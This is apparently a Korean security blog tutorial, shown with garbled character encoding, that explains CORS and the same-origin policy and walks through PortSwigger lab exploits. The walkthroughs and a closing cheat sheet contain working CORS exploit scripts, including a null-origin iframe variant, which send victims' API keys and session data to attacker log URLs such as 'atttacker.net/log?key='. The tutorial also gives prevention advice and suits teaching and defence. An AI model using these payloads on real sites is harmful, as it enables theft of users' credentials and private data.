CORS & SOP

CORS & SOP

in

Cross-origin resource sharing (CORS)

๐Ÿ”Ž What is CORS?

cors

CORS(๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค ๊ณต์œ )๋Š” ์ถ”๊ฐ€ HTTP ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•œ ์ถœ์ฒ˜์—์„œ ์‹คํ–‰ ์ค‘์ธ ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ๋‹ค๋ฅธ ์ถœ์ฒ˜์˜ ์„ ํƒํ•œ ์ž์›์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๊ถŒํ•œ์„ ๋ถ€์—ฌํ•˜๋„๋ก ๋ธŒ๋ผ์šฐ์ €์—์„œ ์•Œ๋ ค์ฃผ๋Š” ์ฒด์žฌ๋กœ SOP(๋™์ผ ์ถœ์ฒ˜ ์ •์ฑ…)์„ ํ™•์žฅํ•˜๊ณ  ์œ ์—ฐ์„ฑ์„ ์ถ”๊ฐ€ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.
HTTP ํ—ค๋”๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์ „์†กํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์‚ฌ์šฉํ•˜๋ฉฐ JSONP(Json with Padding) ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด CORS๋ฅผ ๋Œ€์ฒดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋งŽ์€ ์›น์‚ฌ์ดํŠธ๋Š” CORS๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ•˜์œ„ ๋„๋ฉ”์ธ ๋ฐ ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์ œ3์ž์˜ ์•ก์„ธ์Šค๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋•Œ CORS์˜ ๊ตฌํ˜„์—์„œ ์‹ค์ˆ˜๋ฅผ ํฌํ•จํ•˜๊ฑฐ๋‚˜ ๋„ˆ๋ฌด ์œ ์—ฐํ•˜๊ฒŒ ์„ค์ •์„ ํ•œ ๊ฒฝ์šฐ ์›น ์–ดํ”Œ๋ฆฌ์ผ€์ด์…˜์˜ ์ •์ƒ์ ์ธ ํ๋ฆ„์„ ์•…์šฉํ•˜์—ฌ ํƒ€ ์‚ฌ์šฉ์ž์˜ ๊ฐœ์ธ์ •๋ณด๋ฅผ ํ›”์น˜๊ฑฐ๋‚˜ ์นจํ•ด๋ฅผ ์ผ์œผํ‚ฌ ๊ฐ€๋Šฅ์„ฑ์ด ์กด์žฌํ•ฉ๋‹ˆ๋‹ค.

์ถœ์ฒ˜(Origin)๋ž€ ๋ฌด์—‡์ธ๊ฐ€?

์ถœ์ฒ˜ URL ๊ตฌ์กฐ

์ถœ์ฒ˜(Origin)๋Š” Protocol(Scheme๋กœ๋„ ๋ถˆ๋ฆผ)๊ณผ Host(Domain์œผ๋กœ๋„ ๋ถˆ๋ฆผ), ๊ทธ๋ฆฌ๊ณ  ์œ„ ๊ทธ๋ฆผ์—๋Š” ๋‚˜์™€์žˆ์ง€ ์•Š์ง€๋งŒ :80, :443 ๊ณผ ๊ฐ™์€ ํฌํŠธ๋ฒˆํ˜ธ ๊นŒ์ง€ ๋ชจ๋‘ ํ•ฉ์นœ๊ฒƒ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค

Access-Control-Allow-Origin

๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค ๊ณต์œ (CORS)๋Š” ๋ฐœ์‹ ์ธก์—์„œ CORS ํ—ค๋”๋ฅผ ์„ค์ •ํ•ด ์š”์ฒญํ•˜๋ฉด, ์ˆ˜์‹ ์ธก์—์„œ ํ—ค๋”๋ฅผ ๊ตฌ๋ถ„ํ•ด ์ •ํ•ด์ง„ ๊ทœ์น™์— ๋งž๊ฒŒ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ€์ ธ๊ฐˆ ์ˆ˜ ์žˆ๋„๋ก ์„ค์ •ํ•ฉ๋‹ˆ๋‹ค.
Access-Control-Allow-Origin ํ—ค๋”๋Š” ์š”์ฒญ ์‘๋‹ต๊ฐ’์— ํฌํ•จ๋œ ํ—ค๋”์ž…๋‹ˆ๋‹ค.
์›น ๋ธŒ๋ผ์šฐ์ €๋Š” Access-Control-Allow-Origin์„ ์š”์ฒญ ์›น์‚ฌ์ดํŠธ์˜ ์ถœ์ฒ˜์™€ ๋น„๊ตํ•˜๊ณ  ์ผ์น˜ํ•˜๋Š” ๊ฒฝ์šฐ ์‘๋‹ต์— ๋Œ€ํ•œ ์•ก์„ธ์Šค๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
์•„๋ž˜์˜ ์š”์ฒญ์ฝ”๋“œ๋ฅผ ์‚ดํŽด๋ณด๋ฉด ๋ฐœ์‹ ์ธก์—์„œ POST๋ฐฉ์‹์œผ๋กœ HTTP ์š”์ฒญ์„ ๋ณด๋ƒˆ์œผ๋‚˜, OPTIONS ๋ฉ”์†Œ๋“œ๋ฅผ ๊ฐ€์ง„ HTTP ์š”์ฒญ์ด ์ „๋‹ฌ๋˜์—ˆ๋Š”๋ฐ ์ด๋ฅผ CORS perflight๋ผ๊ณ  ํ•˜๋ฉฐ, ์ˆ˜์‹ ์ธก์— ์›น ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•ด๋„ ๋˜๋Š”์ง€ ์งˆ์˜ํ•˜๋Š” ๊ณผ์ •์ž…๋‹ˆ๋‹ค.
๋ฐœ์‹ ์ธก์˜ ์š”์ฒญ์„ ์‚ดํŽด๋ณด๋ฉด Access-Control-Request๋กœ ์‹œ์ž‘ํ•˜๋Š” ํ—ค๋”๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋Š”๋ฐ, ํ•ด๋‹นํ•˜๋Š” ํ—ค๋” ๋’ค์— ๋”ฐ๋ผ์˜ค๋Š” Method์™€ Headers๋Š” ๊ฐ๊ฐ ๋ฉ”์†Œ๋“œ์™€ ํ—ค๋”๋ฅผ ์ถ”๊ฐ€์ ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์งˆ์˜ํ•ฉ๋‹ˆ๋‹ค.
์•„๋ž˜์˜ ๊ณผ์ •์„ ๋งˆ์น˜๋ฉด ๋ธŒ๋ผ์šฐ์ €๋Š” ์ˆ˜์‹ ์ธก์˜ ์‘๋‹ต์ด ๋ฐœ์‹ ์ธก์˜ ์š”์ฒญ๊ณผ ์ƒ์‘ํ•˜๋Š”์ง€ ํ™•์ธํ•˜๊ณ , ๊ทธ๋•Œ์•ผ ๋น„๋กœ์†Œ POST ์š”์ฒญ์„ ๋ณด๋‚ด ์ˆ˜์‹ ์ธก์˜ ์›น ๋ฆฌ์†Œ์Šค๋ฅผ ์š”์ฒญํ•˜๋Š” HTTP ์š”์ฒญ์„ ๋ณด๋ƒ…๋‹ˆ๋‹ค.

  • ์›น ๋ฆฌ์†Œ์Šค ์š”์ฒญ ์ฝ”๋“œ
/*
    XMLHttpRequest ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. 
    XMLHttpRequest๋Š” ์›น ๋ธŒ๋ผ์šฐ์ €์™€ ์›น ์„œ๋ฒ„ ๊ฐ„์— ๋ฐ์ดํ„ฐ ์ „์†ก์„
    ๋„์™€์ฃผ๋Š” ๊ฐ์ฒด ์ž…๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด HTTP ์š”์ฒญ์„ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
*/
xhr = new XMLHttpRequest();
/* https://theori.io/whoami ํŽ˜์ด์ง€์— POST ์š”์ฒญ์„ ๋ณด๋‚ด๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. */
xhr.open('POST', 'https://theori.io/whoami');
/* HTTP ์š”์ฒญ์„ ๋ณด๋‚ผ ๋•Œ, ์ฟ ํ‚ค ์ •๋ณด๋„ ํ•จ๊ป˜ ์‚ฌ์šฉํ•˜๋„๋ก ํ•ด์ค๋‹ˆ๋‹ค. */
xhr.withCredentials = true;
/* HTTP Body๋ฅผ JSON ํ˜•ํƒœ๋กœ ๋ณด๋‚ผ ๊ฒƒ์ด๋ผ๊ณ  ์ˆ˜์‹ ์ธก์— ์•Œ๋ ค์ค๋‹ˆ๋‹ค. */
xhr.setRequestHeader('Content-Type', 'application/json');
/* xhr ๊ฐ์ฒด๋ฅผ ํ†ตํ•ด HTTP ์š”์ฒญ์„ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค. */
xhr.send("{'data':'WhoAmI'}");
  • ๋ฐœ์‹ ์ธก์˜ HTTP ์š”์ฒญ ๋ฐ ์„œ๋ฒ„์˜ ์‘๋‹ต
# HTTP ์š”์ฒญ
OPTIONS /whoami HTTP/1.1
Host: theori.io
Connection: keep-alive
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
Origin: https://dreamhack.io
Accept: */*
Referer: https://dreamhack.io/

# ์„œ๋ฒ„ ์‘๋‹ต
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://dreamhack.io
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Credentials: true
Access-Control-Allow-Headers: Content-Type
Header ์„ค๋ช…
Access-Control-Allow-Origin ํ—ค๋” ๊ฐ’์— ํ•ด๋‹นํ•˜๋Š” Origin์—์„œ ๋“ค์–ด์˜ค๋Š” ์š”์ฒญ๋งŒ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค
Access-Control-Allow-Methods ํ—ค๋” ๊ฐ’์— ํ•ด๋‹นํ•˜๋Š” ๋ฉ”์†Œ๋“œ์˜ ์š”์ฒญ๋งŒ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค
Access-Control-Allow-Credentials ์ฟ ํ‚ค ์‚ฌ์šฉ ์—ฌ๋ถ€๋ฅผ ํŒ๋‹จํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ์˜ ๊ฒฝ์šฐ ์ฟ ํ‚ค์˜ ์‚ฌ์šฉ์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.
Access-Control-Allow-Headers ํ—ค๋” ๊ฐ’์— ํ•ด๋‹นํ•˜๋Š” ํ—ค๋”์˜ ์‚ฌ์šฉ ๊ฐ€๋Šฅ ์—ฌ๋ถ€๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค.
JSON with Padding (JSONP)

JSONP๋Š” CORS๊ฐ€ ์ƒ๊ธฐ๊ธฐ ์ „์— ์‚ฌ์šฉํ•˜๋˜ ๋ฐฉ๋ฒ•์œผ๋กœ ํ˜„์žฌ๋Š” ๊ฑฐ์˜ ์‚ฌ์šฉํ•˜์ง€ ์•Š๋Š” ์ถ”์„ธ์ด๊ธฐ ๋•Œ๋ฌธ์—, ์ƒˆ๋กญ๊ฒŒ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•  ๋•Œ์—๋Š” CORS๋ฅผ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.
์ด๋ฏธ์ง€๋‚˜ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ,CSS ๋“ฑ์˜ ๋ฆฌ์†Œ์Šค๋Š” SOP์— ๊ตฌ์•  ๋ฐ›์ง€ ์•Š๊ณ  ์™ธ๋ถ€ ์ถœ์ฒ˜์— ๋Œ€ํ•ด ์ ‘๊ทผ์„ ํ—ˆ์šฉํ•˜๋Š”๋ฐ JSONP ๋ฐฉ์‹์€ ์ด๋Ÿฌํ•œ ํŠน์ง•์„ ์ด์šฉํ•ด <script> ํƒœ๊ทธ๋กœ Corss Origin์˜ ๋ฐ์ดํ„ฐ๋ฅผ ๋ถˆ๋Ÿฌ์˜ต๋‹ˆ๋‹ค.
ํ•˜์ง€๋งŒ <script> ํƒœ๊ทธ ๋‚ด์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ์ž๋ฐ”์Šคํฌ๋ฆฝํŠธ์˜ ์ฝ”๋“œ๋กœ ์ธ์‹ํ•˜๊ธฐ ๋•Œ๋ฌธ์— Callback ํ•จ์ˆ˜๋ฅผ ํ™œ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. Cross Origin์— ์š”์ฒญํ•  ๋•Œ callback ํŒŒ๋ผ๋ฏธํ„ฐ์— ์–ด๋–ค ํ•จ์ˆ˜๋กœ ๋ฐ›์•„์˜ค๋Š” ๋ฐ์ดํ„ฐ๋ฅผ ํ•ธ๋“ค๋งํ• ์ง€ ๋„˜๊ฒจ์ฃผ๋ฉด, ๋Œ€์ƒ ์„œ๋ฒ„๋Š” ์ „๋‹ฌ๋œ Callback์œผ๋กœ ๋ฐ์ดํ„ฐ๋ฅผ ๊ฐ์‹ธ ์‘๋‹ตํ•ฉ๋‹ˆ๋‹ค.

# ์›น ๋ฆฌ์†Œ์Šค ์š”์ฒญ ์ฝ”๋“œ
<script>
/* myCallback์ด๋ผ๋Š” ์ฝœ๋ฐฑ ํ•จ์ˆ˜๋ฅผ ์ง€์ •ํ•ฉ๋‹ˆ๋‹ค. */
function myCallback(data){
    /* ์ „๋‹ฌ๋ฐ›์€ ์ธ์ž์—์„œ id๋ฅผ ์ฝ˜์†”์— ์ถœ๋ ฅํ•ฉ๋‹ˆ๋‹ค.*/
	console.log(data.id)
}
</script>
<!--
https://theori.io์˜ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋กœ๋“œํ•˜๋Š” HTML ์ฝ”๋“œ์ž…๋‹ˆ๋‹ค.
๋‹จ, callback์ด๋ผ๋Š” ์ด๋ฆ„์˜ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ myCallback์œผ๋กœ ์ง€์ •ํ•จ์œผ๋กœ์จ
์ˆ˜์‹ ์ธก์—๊ฒŒ myCallback ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ•ด ์ˆ˜์‹ ๋ฐ›๊ฒ ๋‹ค๊ณ  ์•Œ๋ฆฝ๋‹ˆ๋‹ค.
-->
<script src='http://theori.io/whoami?callback=myCallback'></script>

# ์›น ๋ฆฌ์†Œ์Šค ์š”์ฒญ์— ๋”ฐ๋ฅธ ์‘๋‹ต ์ฝ”๋“œ
/*
์ˆ˜์‹ ์ธก์€ myCallback ์ด๋ผ๋Š” ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด ์š”์ฒญ์ธก์— ๋ฐ์ดํ„ฐ๋ฅผ ์ „๋‹ฌํ•ฉ๋‹ˆ๋‹ค.
์ „๋‹ฌํ•  ๋ฐ์ดํ„ฐ๋Š” ํ˜„์žฌ theori.io์—์„œ ํด๋ผ์ด์–ธํŠธ๊ฐ€ ์‚ฌ์šฉ ์ค‘์ธ ๊ณ„์ • ์ •๋ณด์ธ
{'id': 'dreamhack'} ์ž…๋‹ˆ๋‹ค. 
*/
myCallback({'id':'dreamhack'});

SOP(Same-Origin Policy)๋ž€?

์›น ์‚ฌ์ดํŠธ์—์„œ ์„œ๋กœ๊ฐ€ ์„œ๋กœ๋ฅผ ๊ณต๊ฒฉํ•˜๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๋Š” ๊ฒƒ์„ ๋ชฉํ‘œ๋กœ ํ•˜๋Š” ์›น ๋ธŒ๋ผ์šฐ์ € ๋ณด์•ˆ ๋ฉ”์ปค๋‹ˆ์ฆ˜์ž…๋‹ˆ๋‹ค.
๋‹ค๋ฅธ ์ถœ์ฒ˜๋กœ์˜ ๋ฆฌ์†Œ์Šค ์š”์ฒญ์„ ์ œํ•œํ•˜๋Š” ๊ฒƒ๊ณผ ๊ด€๋ จ๋œ ๋‘๊ฐ€์ง€ ์ •์ฑ…์ด ์กด์žฌํ•˜๋Š”๋ฐ CORS ์™€ SOP์ž…๋‹ˆ๋‹ค.

SOP๋Š” ๋ง ๊ทธ๋Œ€๋กœ ๊ฐ™์€ ์ถœ์ฒ˜์—์„œ๋งŒ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๋‹ค. ๋ผ๋Š” ๊ทœ์น™์„ ๊ฐ€์ง„ ์ •์ฑ…์ž…๋‹ˆ๋‹ค

๊ฐ™์€ ์ถœ์ฒ˜, ๋‹ค๋ฅธ ์ถœ์ฒ˜ ๊ตฌ๋ถ„
http://normal-website.com/example/example.html 

์ด๋ฏธ์ง€ 10 ์ถœ์ฒ˜๊ตฌ๋ถ„


CORS vulnerability with basic origin reflection

์•ˆ์ „ํ•˜์ง€ ์•Š์€ CORS ์ •์ฑ…์œผ๋กœ ๊ด€๋ฆฌ์ž์˜ ๋ฐ์ดํ„ฐ๊ฐ€ ๋…ธ์ถœ๋˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

์ผ๋ฐ˜๊ณ„์ • wiener๋กœ ๋กœ๊ทธ์ธ ์‹œ ์„œ๋ฒ„์ธก์—์„œ ๊ทธ์— ๋”ฐ๋ฅธ apikey์™€ session๊ฐ’์„ ํ• ๋‹นํ•ด์ค๋‹ˆ๋‹ค

cors1 apikey,sessions ๊ฐ’ ํ• ๋‹น

ํ•ด๋‹น ํŒจํ‚ท์— Origin:https://example.com์˜ Originํ—ค๋”์— ์ž„์˜์˜ ๋„๋ฉ”์ธ ์ฃผ์†Œ๋ฅผ ์ถ”๊ฐ€ํ•˜์—ฌ ์ „์†ก ์‹œ ์‘๋‹ต๊ฐ’์— ์ž„์˜์˜ ๋„๋ฉ”์ธ์ด ๋ฆฌ์†Œ์Šค๋ฅผ ๊ณต์œ ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•œ๋‹ค๋Š” ์‘๋‹ต๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

cors2 Access-Control-Allow-Origin ์‘๋‹ต

XMLHttpRequest๋ฅผ ํ†ตํ•ด cors(๊ต์ฐจ ์ถœ์ฒ˜)๋ฅผ ์š”์ฒญ์„ ํ•˜๊ฒŒ ๋˜๋Š”๋ฐ ์—ฌ๊ธฐ์„œ CORS ํ—ค๋”์— ํ—ˆ์šฉํ•˜๊ณ ์ž ํ•˜๋Š” ๋„๋ฉ”์ธ์ด ์ง€์ •๋˜์–ด ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. XHR์€ ์„œ๋ฒ„์™€ ์ƒํ˜ธ์ž‘์šฉ ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋˜๋Š” ๊ฐ์ฒด๋กœ XML ์ด์™ธ์— ๋ชจ๋“  ๋ฐ์ดํ„ฐ๋ฅผ ๋ฐ›์•„์˜ฌ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

<script>
   var req = new XMLHttpRequest();
   req.onload = reqListener;
   req.open('get','https://acdf1fab1ff37df0c0d852f7003800ce.web-security-academy.net/accountDetails',true);

   req.withCredentials = true;
   req.send();

   function reqListener() {
       location='/log?key='+this.responseText;
   };
</script>

cors2 5 ๊ณต๊ฒฉ์ฝ”๋“œ ์ž…๋ ฅ

ํ•ด๋‹น ๊ณต๊ฒฉ์ฝ”๋“œ ์ž…๋ ฅ ํ›„ ์‚ฌ์šฉ์ž๊ฐ€ ๊ณต๊ฒฉ์ฝ”๋“œ๊ฐ€ ์‚ฝ์ž…๋œ ํŽ˜์ด์ง€์— ์ ‘์† ์‹œ req.open()์ฃผ์†Œ์— ์ง€์ •๋œ ํŽ˜์ด์ง€๋กœ ์ž๋™ ๋กœ๋“œํ•˜๊ฒŒ ๋˜์–ด ์‚ฌ์šฉ์ž์˜ ํ‚ค๊ฐ’,์„ธ์…˜๊ฐ’์„ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ๊ทธ์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

cors3 ๊ณต๊ฒฉ์ž ์„œ๋ฒ„ ๋กœ๊ทธ ๊ธฐ๋ก

CORS vulnerability with trusted null origin

null ์ถœ์ฒ˜๋ฅผ ํ•„ํ„ฐ๋ง ํ•˜์ง€ ์•Š์•„ null์„ ์‹ ๋ขฐํ•˜์—ฌ ๊ณต๊ฒฉํ•˜๋Š” ์ทจ์•ฝ์ ์ž…๋‹ˆ๋‹ค.

apikey์™€ session์ด ๋„˜์–ด๊ฐ€๋Š” /accountDetailsํŽ˜์ด์ง€์—์„œ Origin: null ์„ ์ถ”๊ฐ€์‹œ ์‘๋‹ต๊ฐ’์— ์‹ ๋ขฐํ•œ๋‹ค๋Š” ํ—ค๋”๊ฐ€ ์ถ”๊ฐ€๋œ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

cors1 Origin:null ํ—ค๋” ์ถ”๊ฐ€

์•„๋ž˜์™€ ๊ฐ™์€ ์Šคํฌ๋ฆฝํŠธ๋กœ ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„ ๋กœ๊ทธ์—์„œ ์„ธ์…˜๊ฐ’๊ณผ apikey๋ฅผ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
  var req = new XMLHttpRequest();
  req.onload = reqListener;
  req.open('get','apikey,session์„ ๋ฐ›๋Š” URL',true);
  req.withCredentials = true;
  req.send();
  function reqListener() {
    location='๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„ URL/log?key='+encodeURIComponent(this.responseText);
  };
</script>"></iframe>

//์‹ค์ œ ๊ณต๊ฒฉ์ฝ”๋“œ
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://ac991fb01e7a7a9fc0d20e2e00d300f5.web-security-academy.net/accountDetails/',true);
req.withCredentials = true;
req.send();

function reqListener() {
location='https://exploit-acfa1f441eb97a45c0570e93019b000f.web-security-academy.net/log?key='+this.responseText;
};
</script>"></iframe>

cors2 ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„ ๋กœ๊ทธ ๊ธฐ๋ก



๐Ÿ Cheat sheet

  • Vulnerable Implementation
GET /endpoint HTTP/1.1
Host: victim.example.com
Origin: https://evil.com
Cookie: sessionid=... 

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true 

{"[private API key]"}
  • Proof of concept
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://victim.example.com/endpoint',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//atttacker.net/log?key='+this.responseText; 
};

or

<html>
     <body>
         <h2>CORS PoC</h2>
         <div id="demo">
             <button type="button" onclick="cors()">Exploit</button>
         </div>
         <script>
             function cors() {
             var xhr = new XMLHttpRequest();
             xhr.onreadystatechange = function() {
                 if (this.readyState == 4 && this.status == 200) {
                 document.getElementById("demo").innerHTML = alert(this.responseText);
                 }
             };
              xhr.open("GET",
                       "https://victim.example.com/endpoint", true);
             xhr.withCredentials = true;
             xhr.send();
             }
         </script>
     </body>
 </html>

๐Ÿ‘€ How to prevent CORS-based attacks

CORS์ทจ์•ฝ์ ์€ ์ฃผ๋กœ ์ž˜๋ชป๋œ ๊ตฌ์„ฑ์—์„œ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ์˜ˆ๋ฐฉ๋ฐฉ๋ฒ•์€ ์ œ๋Œ€๋กœ ๋œ ์„ค์ •์ž…๋‹ˆ๋‹ค

  • ๋„๋ฉ”์ธ ๊ฐ„ ์š”์ฒญ์˜ ์ ์ ˆํ•œ ๊ตฌ์„ฑ

์›น ๋ฆฌ์†Œ์Šค์— ๋ฏผ๊ฐํ•œ ์ •๋ณด๊ฐ€ ํฌํ•จ๋œ ๊ฒฝ์šฐ Access-Control-Allow-Origin ํ—ค๋”์— ์ถœ์ฒ˜๋ฅผ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์ง€์ •ํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

  • ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์ดํŠธ๋งŒ ํ—ˆ์šฉ

๋‹น์—ฐํ•ด ๋ณด์ด์ง€๋งŒ Access-Control-Allow-Originํ—ค๋”์— ์ง€์ •๋œ ์ถœ์ฒ˜๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” ์‚ฌ์ดํŠธ์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค.
ํŠนํžˆ, ์œ ํšจ์„ฑ ๊ฒ€์‚ฌ ์—†์ด ๋„๋ฉ”์ธ ๊ฐ„ ์š”์ฒญ์˜ ์ถœ์ฒ˜๋ฅผ ๋™์ ์œผ๋กœ ๋ฐ˜์˜ํ•˜๋Š” ๊ฒƒ์€ ์‰ฝ๊ฒŒ ์•…์šฉ๋  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ํ”ผํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค

  • null ํ—ˆ์šฉ ๋ชฉ๋ก ํ”ผํ•˜๊ธฐ

Access-Control-Allow-Origin: null ํ—ค๋”๋ฅผ ์‚ฌ์šฉํ•˜์ง€ ๋ง์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค.

  • ๋‚ด๋ถ€ ๋„คํŠธ์›Œํฌ์—์„œ ์™€์ผ๋“œ์นด๋“œ ์‚ฌ์šฉ ๊ธˆ์ง€

๋‚ด๋ถ€ ๋ธŒ๋ผ์šฐ์ €๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์™ธ๋ถ€ ๋„๋ฉ”์ธ์— ์•ก์„ธ์Šค ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ ๋‚ด๋ถ€ ๋ฆฌ์†Œ์Šค๋ฅผ ๋ณดํ˜ธํ•˜๊ธฐ ์œ„ํ•ด ๋„คํŠธ์›Œํฌ ๊ตฌ์„ฑ์„ ์‹ ๋ขฐํ•˜๋Š” ๊ฒƒ๋งŒ์œผ๋กœ๋Š” ์ถฉ๋ถ„ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค


๐Ÿ“ƒ References